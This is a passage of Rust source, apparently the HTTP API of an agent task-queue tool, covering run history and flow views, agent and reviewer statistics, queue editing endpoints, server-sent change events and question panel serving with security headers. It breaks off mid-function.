3295 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3296 {
3297 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
3298 .to_owned()
3299 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3300 " It left a pull request open, so the task was held for a person rather than retried."
3301 .to_owned()
3302 } else if matches!(status, RunStatus::VerifiedNoop) {
3303 " Held for a person to check the claim.".to_owned()
3304 } else if last {
3305 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
3306 } else {
3307 " It spent an attempt, and the task moved on to the next run.".to_owned()
3308 };
3309 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
3310 TaskRunView {
3311 n,
3312 id: id.to_owned(),
3313 short,
3314 kind,
3315 status: Some(status.as_str()),
3316 readable: true,
3317 provisional,
3318 description,
3319 outcome: format!("{head}{why}"),
3320 created_at: Some(s.created_at),
3321 pr: s.pr.as_ref().map(|p| p.url.clone()),
3322 exit,
3323 attempt: exit.cost(),
3324 branch: branch.map(str::to_owned),
3325 }
3326}
3327
3328#[derive(Debug, Serialize, PartialEq)]
3330struct FlowNode {
3331 key: String,
3333 kind: &'static str,
3335 label: String,
3336 status: Option<&'static str>,
3339 note: Option<&'static str>,
3341 run_kind: Option<&'static str>,
3342 detail: Option<String>,
3343 decided: bool,
3345 readable: bool,
3346 href: Option<String>,
3347}
3348
3349#[derive(Debug, Serialize, PartialEq)]
3350struct FlowEdge {
3351 from: String,
3352 to: String,
3353 label: String,
3354 attempt: AttemptCost,
3355}
3356
3357#[derive(Debug, Serialize, PartialEq)]
3358struct FlowView {
3359 nodes: Vec<FlowNode>,
3360 edges: Vec<FlowEdge>,
3361 attempts: usize,
3363 max_attempts: usize,
3364}
3365
3366fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
3369 let node = |key: &str, kind, label: String| FlowNode {
3370 key: key.to_owned(),
3371 kind,
3372 label,
3373 status: None,
3374 note: None,
3375 run_kind: None,
3376 detail: None,
3377 decided: false,
3378 readable: true,
3379 href: None,
3380 };
3381 let mut nodes = vec![node("start", "start", "Task queued".to_owned())];
3382 let mut edges: Vec<FlowEdge> = Vec::new();
3383 let mut prev = "start".to_owned();
3384 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
3385 for (i, h) in history.iter().enumerate() {
3386 let key = format!("run-{}", h.n);
3387 let mut n = node(&key, "run", format!("Run {}", h.short));
3388 n.run_kind = Some(h.kind);
3389 n.readable = h.readable;
3390 n.href = Some(format!("#/runs/{}", h.id));
3391 n.decided = h.readable && !h.provisional;
3392 n.detail = h
3393 .branch
3394 .as_ref()
3395 .map(|b| format!("review-only run of branch {b}"));
3396 match h.exit {
3397 RunExit::Unreadable => n.note = Some("unreadable"),
3398 RunExit::Interrupted => n.note = Some("interrupted"),
3399 _ => {
3400 n.status = h.status;
3401 if h.provisional {
3402 n.note = Some("no verdict");
3403 }
3404 }
3405 }
3406 let into = match h.kind {
3407 "review" => Some(format!(
3408 "review-only run of branch {}",
3409 h.branch.as_deref().unwrap_or("?")
3410 )),
3411 "resume" => Some("resume the same run".to_owned()),
3412 _ if i > 0 => Some("retry".to_owned()),
3413 _ => None,
3414 };
3415 let label = match (prev_exit, into) {
3416 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
3417 (Some((e, st)), None) => e.edge_label(st),
3418 (None, Some(i)) => i,
3419 (None, None) => "claimed".to_owned(),
3420 };
3421 edges.push(FlowEdge {
3422 from: prev.clone(),
3423 to: key.clone(),
3424 label,
3425 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
3426 });
3427 prev_exit = Some((h.exit, h.status));
3428 prev = key;
3429 nodes.push(n);
3430 }
3431 let mut end = node("end", "end", task.status.as_str().to_owned());
3432 end.status = Some(task.status.as_str());
3433 nodes.push(end);
3434 let (label, attempt) = match prev_exit {
3435 None => (
3436 format!("no run yet \u{2192} {}", task.status.as_str()),
3437 AttemptCost::None,
3438 ),
3439 Some((e, st)) if e.explains(task.status) => (
3440 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
3441 e.cost(),
3442 ),
3443 Some((e, _)) => (
3444 format!("closed by hand: task is {}", task.status.as_str()),
3445 e.cost(),
3446 ),
3447 };
3448 edges.push(FlowEdge {
3449 from: prev,
3450 to: "end".to_owned(),
3451 label,
3452 attempt,
3453 });
3454 FlowView {
3455 nodes,
3456 edges,
3457 attempts: task.attempts,
3458 max_attempts,
3459 }
3460}
3461
3462fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
3465 let mut history = Vec::with_capacity(task.runs.len());
3466 let mut seen: Vec<&str> = Vec::new();
3467 let mut prior: Option<(&str, RunStatus)> = None;
3468 for (i, run_id) in task.runs.iter().enumerate() {
3469 let state = read(run_id);
3470 let resumed = seen.contains(&run_id.as_str());
3471 seen.push(run_id);
3472 history.push(task_run_view(
3473 run_id,
3474 state.as_ref(),
3475 RunSlot {
3476 n: i + 1,
3477 resumed,
3478 resumed_later: task.runs[i + 1..]
3479 .iter()
3480 .position(|r| r == run_id)
3481 .map(|off| i + off + 2),
3482 prior,
3483 last: i + 1 == task.runs.len(),
3484 },
3485 task,
3486 ));
3487 if let Some(s) = &state {
3488 prior = Some((run::short_of(run_id), s.status));
3489 }
3490 }
3491 history
3492}
3493
3494async fn task_detail(
3495 State(ui): State<Arc<Ui>>,
3496 Path(id): Path<String>,
3497) -> ApiResult<Json<TaskDetailView>> {
3498 blocking(move || {
3499 let id = resolve_task(&ui.queue, &id)?;
3500 let task = ui
3501 .queue
3502 .get(&id)
3503 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
3504 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
3505 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
3506 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
3507 let max_attempts = daemon::Opts::default().max_attempts;
3508 let flow = task_flow(&task, &history, max_attempts);
3509 Ok(Json(TaskDetailView {
3510 max_attempts,
3511 flow,
3512 history,
3513 runs_unreadable,
3514 attempts_note: ATTEMPTS_NOTE,
3515 task: TaskView::with_inventory(task, &inv),
3516 }))
3517 })
3518 .await
3519}
3520
3521#[derive(Debug, Serialize)]
3525struct RateView {
3526 pct: f64,
3527 denominator: usize,
3528}
3529
3530impl RateView {
3531 fn of(numerator: usize, denominator: usize) -> Option<Self> {
3532 (denominator > 0).then(|| Self {
3533 pct: 100.0 * numerator as f64 / denominator as f64,
3534 denominator,
3535 })
3536 }
3537}
3538
3539#[derive(Debug, Serialize)]
3544struct StatsTotalsView {
3545 runs: usize,
3546 merged: usize,
3547 ready: usize,
3548 blocked: usize,
3549 failed: usize,
3550 stalled: usize,
3551 verified_noop: usize,
3552 superseded: usize,
3553 in_progress: usize,
3554 completion_rate: Option<RateView>,
3555 tallied: usize,
3556 split: usize,
3557 split_rate: Option<RateView>,
3558 deliberated: usize,
3559 minds_changed: usize,
3560 converged: usize,
3561 review_rounds: usize,
3562}
3563
3564impl From<&stats::Totals> for StatsTotalsView {
3565 fn from(t: &stats::Totals) -> Self {
3566 Self {
3567 runs: t.runs,
3568 merged: t.merged,
3569 ready: t.ready,
3570 blocked: t.blocked,
3571 failed: t.failed,
3572 stalled: t.stalled,
3573 verified_noop: t.verified_noop,
3574 superseded: t.superseded,
3575 in_progress: t.in_progress,
3576 completion_rate: RateView::of(t.merged + t.ready, t.runs),
3577 tallied: t.tallied,
3578 split: t.split,
3579 split_rate: RateView::of(t.split, t.tallied),
3580 deliberated: t.deliberated,
3581 minds_changed: t.minds_changed,
3582 converged: t.converged,
3583 review_rounds: t.review_rounds,
3584 }
3585 }
3586}
3587
3588#[derive(Debug, Serialize)]
3590struct AgentStatsView {
3591 agent: String,
3592 entered: usize,
3593 wins: usize,
3594 empty: usize,
3595 win_rate: Option<RateView>,
3596}
3597
3598impl From<&stats::AgentStats> for AgentStatsView {
3599 fn from(a: &stats::AgentStats) -> Self {
3600 Self {
3601 agent: a.agent.clone(),
3602 entered: a.entered,
3603 wins: a.wins,
3604 empty: a.empty,
3605 win_rate: RateView::of(a.wins, a.entered),
3606 }
3607 }
3608}
3609
3610#[derive(Debug, Serialize)]
3614struct ReviewerStatsView {
3615 agent: String,
3616 rounds: usize,
3617 seated: usize,
3618 submitted: usize,
3619 adopted: usize,
3620 unique: usize,
3621 timeouts: usize,
3622 adopted_per_round: Option<f64>,
3623 precision: Option<RateView>,
3624 unique_rate: Option<RateView>,
3625 timeout_rate: Option<RateView>,
3626}
3627
3628impl From<&stats::ReviewerStats> for ReviewerStatsView {
3629 fn from(r: &stats::ReviewerStats) -> Self {
3630 Self {
3631 agent: r.agent.clone(),
3632 rounds: r.rounds,
3633 seated: r.seated,
3634 submitted: r.submitted,
3635 adopted: r.adopted,
3636 unique: r.unique,
3637 timeouts: r.timeouts,
3638 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
3639 precision: RateView::of(r.adopted, r.submitted),
3640 unique_rate: RateView::of(r.unique, r.submitted),
3641 timeout_rate: RateView::of(r.timeouts, r.seated),
3642 }
3643 }
3644}
3645
3646#[derive(Debug, Serialize)]
3652struct AdvisorStatsView {
3653 agent: String,
3654 seated: usize,
3655 proposed: usize,
3656 absent: usize,
3657 faint: usize,
3658 strong: usize,
3659 reflection_rate: Option<RateView>,
3660}
3661
3662impl From<&stats::AdvisorStats> for AdvisorStatsView {
3663 fn from(a: &stats::AdvisorStats) -> Self {
3664 Self {
3665 agent: a.agent.clone(),
3666 seated: a.seated,
3667 proposed: a.proposed,
3668 absent: a.absent,
3669 faint: a.faint,
3670 strong: a.strong,
3671 reflection_rate: RateView::of(a.strong, a.proposed),
3672 }
3673 }
3674}
3675
3676#[derive(Debug, Serialize)]
3678struct E2eStatsView {
3679 rounds: usize,
3680 failures: usize,
3681 sole_detections: usize,
3682 deferred: usize,
3683 sole_rate: Option<RateView>,
3684}
3685
3686impl From<&stats::E2eStats> for E2eStatsView {
3687 fn from(e: &stats::E2eStats) -> Self {
3688 Self {
3689 rounds: e.rounds,
3690 failures: e.failures,
3691 sole_detections: e.sole_detections,
3692 deferred: e.deferred,
3693 sole_rate: RateView::of(e.sole_detections, e.failures),
3694 }
3695 }
3696}
3697
3698#[derive(Debug, Serialize)]
3706struct ReleaseBumpStatsView {
3707 merged: usize,
3708 recorded: usize,
3709 pr_opened: usize,
3710 automerge_enabled: usize,
3711 merged_directly: usize,
3712 needs_attention: usize,
3713 clean: usize,
3714 coverage_rate: Option<RateView>,
3715 automerge_rate: Option<RateView>,
3716 attention_rate: Option<RateView>,
3717}
3718
3719impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
3720 fn from(b: &stats::ReleaseBumpStats) -> Self {
3721 Self {
3722 merged: b.merged,
3723 recorded: b.recorded,
3724 pr_opened: b.pr_opened,
3725 automerge_enabled: b.automerge_enabled,
3726 merged_directly: b.merged_directly,
3727 needs_attention: b.needs_attention,
3728 clean: b.clean(),
3729 coverage_rate: RateView::of(b.recorded, b.merged),
3730 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
3731 attention_rate: RateView::of(b.needs_attention, b.recorded),
3732 }
3733 }
3734}
3735
3736#[derive(Debug, Serialize)]
3738struct TaskCountsView {
3739 queued: usize,
3740 running: usize,
3741 done: usize,
3742 failed: usize,
3743 held: usize,
3744 blocked: usize,
3745}
3746
3747impl From<crate::queue::TaskCounts> for TaskCountsView {
3748 fn from(c: crate::queue::TaskCounts) -> Self {
3749 Self {
3750 queued: c.queued,
3751 running: c.running,
3752 done: c.done,
3753 failed: c.failed,
3754 held: c.held,
3755 blocked: c.blocked,
3756 }
3757 }
3758}
3759
3760#[derive(Debug, Serialize)]
3766struct RepoSummaryView {
3767 repo: String,
3770 name: String,
3772 runs: usize,
3773 completion_rate: Option<RateView>,
3774}
3775
3776impl From<&stats::RepoStats> for RepoSummaryView {
3777 fn from(r: &stats::RepoStats) -> Self {
3778 let t = &r.stats.totals;
3779 Self {
3780 repo: r.repo.to_string_lossy().into_owned(),
3781 name: r.name.clone(),
3782 runs: t.runs,
3783 completion_rate: RateView::of(t.merged + t.ready, t.runs),
3784 }
3785 }
3786}
3787
3788#[derive(Debug, Serialize)]
3794struct StatsView {
3795 totals: StatsTotalsView,
3796 agents: Vec<AgentStatsView>,
3798 reviewers: Vec<ReviewerStatsView>,
3800 advisors: Vec<AdvisorStatsView>,
3802 e2e: E2eStatsView,
3803 release_bumps: ReleaseBumpStatsView,
3804 queue: TaskCountsView,
3805 runs_unreadable: usize,
3815 repos: Vec<RepoSummaryView>,
3819 repo: Option<String>,
3823}
3824
3825#[derive(Debug, Default, Deserialize)]
3834#[serde(default)]
3835struct StatsQuery {
3836 repo: Option<String>,
3837}
3838
3839async fn stats_get(
3846 State(ui): State<Arc<Ui>>,
3847 Query(q): Query<StatsQuery>,
3848) -> ApiResult<Json<StatsView>> {
3849 blocking(move || {
3850 let states: Vec<RunState> = run_ids(&ui.runs)
3851 .into_iter()
3852 .filter_map(|id| read_run(&ui.runs, &id).ok())
3853 .collect();
3854 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
3855 .iter()
3856 .map(RepoSummaryView::from)
3857 .collect();
3858 let collected = match &q.repo {
3859 Some(repo) => {
3860 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
3861 if filtered.is_empty() {
3862 return Err(ApiError::not_found(format!(
3863 "no runs recorded against repo `{repo}`"
3864 )));
3865 }
3866 stats::collect_refs(filtered)
3867 }
3868 None => stats::collect(&states),
3869 };
3870 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
3871 Ok(Json(StatsView {
3872 totals: StatsTotalsView::from(&collected.totals),
3873 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
3874 reviewers: collected
3875 .reviewers
3876 .iter()
3877 .map(ReviewerStatsView::from)
3878 .collect(),
3879 advisors: collected
3880 .advisors
3881 .iter()
3882 .map(AdvisorStatsView::from)
3883 .collect(),
3884 e2e: E2eStatsView::from(&collected.e2e),
3885 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
3886 queue: TaskCountsView::from(queue_counts),
3887 runs_unreadable: runs_unreadable(&ui.runs),
3888 repos,
3889 repo: q.repo.clone(),
3890 }))
3891 })
3892 .await
3893}
3894
3895#[derive(Debug, Default, Deserialize)]
3898#[serde(default, deny_unknown_fields)]
3899struct HoldBody {
3900 reason: Option<String>,
3901}
3902
3903async fn queue_hold(
3904 State(ui): State<Arc<Ui>>,
3905 Path(id): Path<String>,
3906 body: std::result::Result<Json<HoldBody>, JsonRejection>,
3907) -> ApiResult<Json<TaskView>> {
3908 let body = match body {
3912 Ok(Json(body)) => body,
3913 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
3914 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3915 };
3916 let reason = body.reason.filter(|r| !r.trim().is_empty());
3917 mutate(ui, id, move |t| {
3918 t.hold_manual(reason.clone());
3919 Ok(())
3920 })
3921 .await
3922}
3923
3924async fn queue_release(
3925 State(ui): State<Arc<Ui>>,
3926 Path(id): Path<String>,
3927) -> ApiResult<Json<TaskView>> {
3928 mutate(ui, id, |t| {
3929 t.release();
3930 Ok(())
3931 })
3932 .await
3933}
3934
3935#[derive(Debug, Deserialize)]
3937#[serde(deny_unknown_fields)]
3938struct PriorityBody {
3939 priority: i32,
3940}
3941
3942async fn queue_priority(
3948 State(ui): State<Arc<Ui>>,
3949 Path(id): Path<String>,
3950 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
3951) -> ApiResult<Json<TaskView>> {
3952 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3953 mutate(ui, id, move |t| t.set_priority(body.priority)).await
3954}
3955
3956#[derive(Debug, Deserialize)]
3958#[serde(deny_unknown_fields)]
3959struct EditBody {
3960 title: String,
3961 instruction: String,
3962 #[serde(default)]
3965 force: bool,
3966}
3967
3968async fn queue_edit(
3972 State(ui): State<Arc<Ui>>,
3973 Path(id): Path<String>,
3974 body: std::result::Result<Json<EditBody>, JsonRejection>,
3975) -> ApiResult<Json<TaskView>> {
3976 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3977 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
3978 mutate(ui, id, move |t| {
3979 if !body.force && body.instruction != t.instruction {
3980 let hits =
3981 crate::dupes::check(&queue, &runs, &t.repo, &body.instruction, None, Some(&t.id));
3982 if !hits.is_empty() {
3983 return Err(crate::dupes::Duplicate(hits).into());
3984 }
3985 }
3986 t.edit(body.title.clone(), body.instruction.clone())
3987 })
3988 .await
3989}
3990
3991async fn queue_done(
3999 State(ui): State<Arc<Ui>>,
4000 Path(id): Path<String>,
4001) -> ApiResult<Json<TaskView>> {
4002 let home = ui.home.clone();
4003 mutate(ui, id, move |t| {
4004 t.succeed();
4005 crate::daemon::supersede_prior_runs(t, &home);
4013 Ok(())
4014 })
4015 .await
4016}
4017
4018async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4026 blocking(move || {
4027 let id = resolve_task(&ui.queue, &id)?;
4028 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4029 ui.queue
4030 .remove(&id, in_flight, &ui.questions)
4031 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4032 Ok(StatusCode::NO_CONTENT)
4033 })
4034 .await
4035}
4036
4037async fn mutate(
4046 ui: Arc<Ui>,
4047 id: String,
4048 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4049) -> ApiResult<Json<TaskView>> {
4050 blocking(move || {
4051 let id = resolve_task(&ui.queue, &id)?;
4052 let _claim = ui.queue.claim(&id).map_err(|e| {
4057 ApiError::conflict(format!(
4058 "{e:#} - a daemon is running this task, so it cannot be \
4059 changed from here yet"
4060 ))
4061 })?;
4062 let mut task = ui.queue.get(&id)?;
4063 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4064 Ok(dup) => ApiError::conflict(dup.render(
4065 "Nothing was saved. If it is not a duplicate, repeat the request with \
4066 \"force\": true.",
4067 )),
4068 Err(e) => ApiError::bad_request_from(e),
4069 })?;
4070 ui.queue.put(&mut task)?;
4071 Ok(Json(TaskView::from(task)))
4072 })
4073 .await
4074}
4075
4076async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4084 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4085 tokio::spawn(async move {
4086 let mut ticker = tokio::time::interval(POLL);
4087 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4088 loop {
4089 ticker.tick().await;
4092 let state = Arc::clone(&ui);
4093 let revisions = tokio::task::spawn_blocking(move || {
4094 (
4095 state.queue.revision(),
4096 runs_revision(&state.runs),
4097 state.questions.revision(),
4098 state.talks.revision(),
4099 state.notices.revision(),
4100 state.lock_loop().rev,
4104 )
4105 })
4106 .await;
4107 let Ok(revisions) = revisions else { break };
4108 if last == Some(revisions) {
4109 continue;
4110 }
4111 last = Some(revisions);
4112 let payload = serde_json::json!({
4113 "queue_rev": revisions.0,
4114 "runs_rev": revisions.1,
4115 "questions_rev": revisions.2,
4116 "talks_rev": revisions.3,
4117 "notifications_rev": revisions.4,
4118 "loop_rev": revisions.5,
4119 });
4120 let Ok(event) = Event::default().event("change").json_data(payload) else {
4122 break;
4123 };
4124 if tx.send(event).await.is_err() {
4125 break;
4126 }
4127 }
4128 });
4129 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
4130 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
4131}
4132
4133fn runs_revision(runs: &FsPath) -> u64 {
4140 use std::hash::{Hash as _, Hasher as _};
4141
4142 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
4143 .into_iter()
4144 .flatten()
4145 .flatten()
4146 .filter_map(|e| {
4147 let path = e.path().join("run.json");
4148 let mtime = path
4149 .metadata()
4150 .ok()?
4151 .modified()
4152 .ok()?
4153 .duration_since(std::time::UNIX_EPOCH)
4154 .ok()?
4155 .as_millis() as u64;
4156 let id = e.file_name().to_string_lossy().into_owned();
4157 Some((id, mtime))
4158 })
4159 .collect();
4160
4161 if entries.is_empty() {
4162 return 0;
4163 }
4164
4165 entries.sort_unstable();
4166 let mut hasher = std::hash::DefaultHasher::new();
4167 for (id, mtime) in &entries {
4168 id.hash(&mut hasher);
4169 mtime.hash(&mut hasher);
4170 }
4171 let h = hasher.finish();
4172 if h == 0 { 1 } else { h }
4173}
4174
4175fn run_ids(runs: &FsPath) -> Vec<String> {
4181 let mut ids: Vec<String> = std::fs::read_dir(runs)
4182 .into_iter()
4183 .flatten()
4184 .flatten()
4185 .filter(|e| e.path().join("run.json").is_file())
4186 .map(|e| e.file_name().to_string_lossy().into_owned())
4187 .collect();
4188 ids.sort_unstable_by(|a, b| b.cmp(a));
4190 ids
4191}
4192
4193fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
4195 let path = runs.join(id).join("run.json");
4196 let body =
4197 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
4198 let state: RunState =
4199 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
4200 if state.schema != run::SCHEMA {
4201 anyhow::bail!(
4202 "run {} was written by a different magi (schema {}, this build speaks {})",
4203 state.id,
4204 state.schema,
4205 run::SCHEMA
4206 );
4207 }
4208 Ok(state)
4209}
4210
4211#[must_use]
4219pub fn runs_unreadable(runs: &FsPath) -> usize {
4220 run_ids(runs)
4221 .into_iter()
4222 .filter(|id| read_run(runs, id).is_err())
4223 .count()
4224}
4225
4226fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
4228 if runs.join(id).join("run.json").is_file() {
4229 return Ok(id.to_owned());
4230 }
4231 pick(run_ids(runs), id, "run")
4232}
4233
4234fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
4236 if queue.path_of(id).is_file() {
4237 return Ok(id.to_owned());
4238 }
4239 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
4240}
4241
4242#[derive(Debug, Serialize)]
4253struct QuestionView {
4254 #[serde(flatten)]
4255 question: Question,
4256 detail_md: Vec<md::Node>,
4257 waiting_on_agent: bool,
4267 holder: Option<&'static str>,
4271}
4272
4273impl QuestionView {
4274 fn of(question: Question, store: &ask::Questions) -> Self {
4278 let base = md::ImageBase::QuestionPanel {
4279 id: question.id.clone(),
4280 };
4281 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
4282 Self {
4283 detail_md: md::to_nodes(&question.detail, &base),
4284 waiting_on_agent: question.waiting_on_agent(),
4285 holder,
4286 question,
4287 }
4288 }
4289}
4290
4291fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
4298 if !q.status.open() || q.cwd.is_none() {
4299 return None;
4300 }
4301 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
4302 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
4303 Some(_) => "asker",
4304 None => "nobody",
4305 })
4306}
4307
4308async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
4314 blocking(move || {
4315 Ok(Json(
4316 ui.questions
4317 .list()
4318 .into_iter()
4319 .map(|q| QuestionView::of(q, &ui.questions))
4320 .collect(),
4321 ))
4322 })
4323 .await
4324}
4325
4326async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
4329 blocking(move || {
4330 let items = ui.notices.list();
4331 let unread = items.iter().filter(|n| n.unread()).count();
4332 Ok(Json(
4333 serde_json::json!({ "unread": unread, "items": items }),
4334 ))
4335 })
4336 .await
4337}
4338
4339fn notice_error(e: anyhow::Error) -> ApiError {
4340 ApiError::not_found(format!("{e:#}"))
4343}
4344
4345async fn notification_read(
4347 State(ui): State<Arc<Ui>>,
4348 Path(id): Path<String>,
4349) -> ApiResult<Json<Notice>> {
4350 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
4351}
4352
4353async fn notification_dismiss(
4355 State(ui): State<Arc<Ui>>,
4356 Path(id): Path<String>,
4357) -> ApiResult<Json<Notice>> {
4358 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
4359}
4360
4361async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
4363 blocking(move || {
4364 let changed = ui.notices.mark_all_read()?;
4365 Ok(Json(serde_json::json!({ "marked": changed })))
4366 })
4367 .await
4368}
4369
4370#[derive(Debug, Default, Deserialize)]
4376#[serde(default, deny_unknown_fields)]
4377struct NewAnswer {
4378 choice: Option<String>,
4379 text: Option<String>,
4380}
4381
4382async fn question_answer(
4383 State(ui): State<Arc<Ui>>,
4384 Path(id): Path<String>,
4385 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
4386) -> ApiResult<Json<QuestionView>> {
4387 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4388 let answer = match (body.choice, body.text) {
4389 (Some(c), None) => Answer::Choice(c),
4390 (None, Some(t)) => Answer::Text(t),
4391 (Some(_), Some(_)) => {
4392 return Err(ApiError::bad_request(
4393 "send either `choice` or `text`, not both",
4394 ));
4395 }
4396 (None, None) => {
4397 return Err(ApiError::bad_request("send a `choice` or a `text`"));
4398 }
4399 };
4400
4401 blocking(move || {
4402 let id = resolve_question(&ui.questions, &id)?;
4403 let q = ui
4404 .questions
4405 .get(&id)
4406 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
4407 if !q.status.open() {
4408 return Err(ApiError::conflict(format!(
4412 "question {} is already {}",
4413 q.short(),
4414 q.status.as_str()
4415 )));
4416 }
4417 let (q, ()) = ui
4421 .questions
4422 .update(&q.id, |r| r.answer(answer))
4423 .map_err(ApiError::bad_request_from)?;
4424 Ok(Json(QuestionView::of(q, &ui.questions)))
4425 })
4426 .await
4427}
4428
4429#[derive(Debug, Deserialize)]
4431#[serde(deny_unknown_fields)]
4432struct NewSay {
4433 body: String,
4434}
4435
4436async fn question_say(
4446 State(ui): State<Arc<Ui>>,
4447 Path(id): Path<String>,
4448 body: std::result::Result<Json<NewSay>, JsonRejection>,
4449) -> ApiResult<Json<QuestionView>> {
4450 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4451 blocking(move || {
4452 let id = resolve_question(&ui.questions, &id)?;
4453 let q = ui
4454 .questions
4455 .get(&id)
4456 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
4457 if !q.status.open() {
4458 return Err(ApiError::conflict(format!(
4462 "question {} is already {}",
4463 q.short(),
4464 q.status.as_str()
4465 )));
4466 }
4467 let (q, ()) = ui
4470 .questions
4471 .update(&q.id, |r| r.say(body.body))
4472 .map_err(ApiError::bad_request_from)?;
4473 Ok(Json(QuestionView::of(q, &ui.questions)))
4474 })
4475 .await
4476}
4477
4478fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
4480 if store.path_of(id).is_file() {
4481 return Ok(id.to_owned());
4482 }
4483 pick(
4484 store.list().into_iter().map(|q| q.id).collect(),
4485 id,
4486 "question",
4487 )
4488}
4489
4490async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
4505 blocking(move || {
4506 let id = resolve_question(&ui.questions, &id)?;
4507 let Some(html) = ui.questions.panel_html(&id) else {
4508 return Err(ApiError::not_found(format!("question {id} has no panel")));
4509 };
4510 Ok(panel_response(
4511 "text/html; charset=utf-8",
4512 false,
4513 html.into_bytes(),
4514 ))
4515 })
4516 .await
4517}
4518
4519async fn question_asset(
4547 State(ui): State<Arc<Ui>>,
4548 Path((id, name)): Path<(String, String)>,
4549) -> ApiResult<Response> {
4550 if !crate::ask::valid_asset_name(&name) {
4553 return Err(ApiError::bad_request(format!(
4554 "`{name}` is not a usable asset name"
4555 )));
4556 }
4557 blocking(move || {
4558 let id = resolve_question(&ui.questions, &id)?;
4559 let asset = ui
4560 .questions
4561 .panel_asset(&id, &name)
4562 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4563 let Some(bytes) = asset else {
4564 return Err(ApiError::not_found(format!(
4565 "question {id} has no asset `{name}`"
4566 )));
4567 };
4568 Ok(panel_response(
4569 asset_content_type(&name),
4570 is_svg(&name),
4571 bytes,
4572 ))
4573 })
4574 .await
4575}
4576
4577fn asset_content_type(name: &str) -> &'static str {
4590 match extension(name).as_deref() {
4591 Some("png") => "image/png",
4592 Some("jpg" | "jpeg") => "image/jpeg",
4593 Some("gif") => "image/gif",
4594 Some("webp") => "image/webp",
4595 Some("svg") => "image/svg+xml",
4596 Some("css") => "text/css; charset=utf-8",
4597 Some("txt") => "text/plain; charset=utf-8",
4598 _ => "application/octet-stream",
4599 }
4600}
4601
4602fn is_svg(name: &str) -> bool {
4605 extension(name).as_deref() == Some("svg")
4606}
4607
4608fn extension(name: &str) -> Option<String> {
4610 name.rsplit_once('.')
4611 .map(|(_, ext)| ext.to_ascii_lowercase())
4612}
4613
4614fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
4631 let mut res = (
4632 [
4633 (header::CONTENT_TYPE, content_type),
4634 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
4635 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4636 (header::REFERRER_POLICY, "no-referrer"),
4637 ],
4638 body,
4639 )
4640 .into_response();
4641 if download {
4642 res.headers_mut().insert(
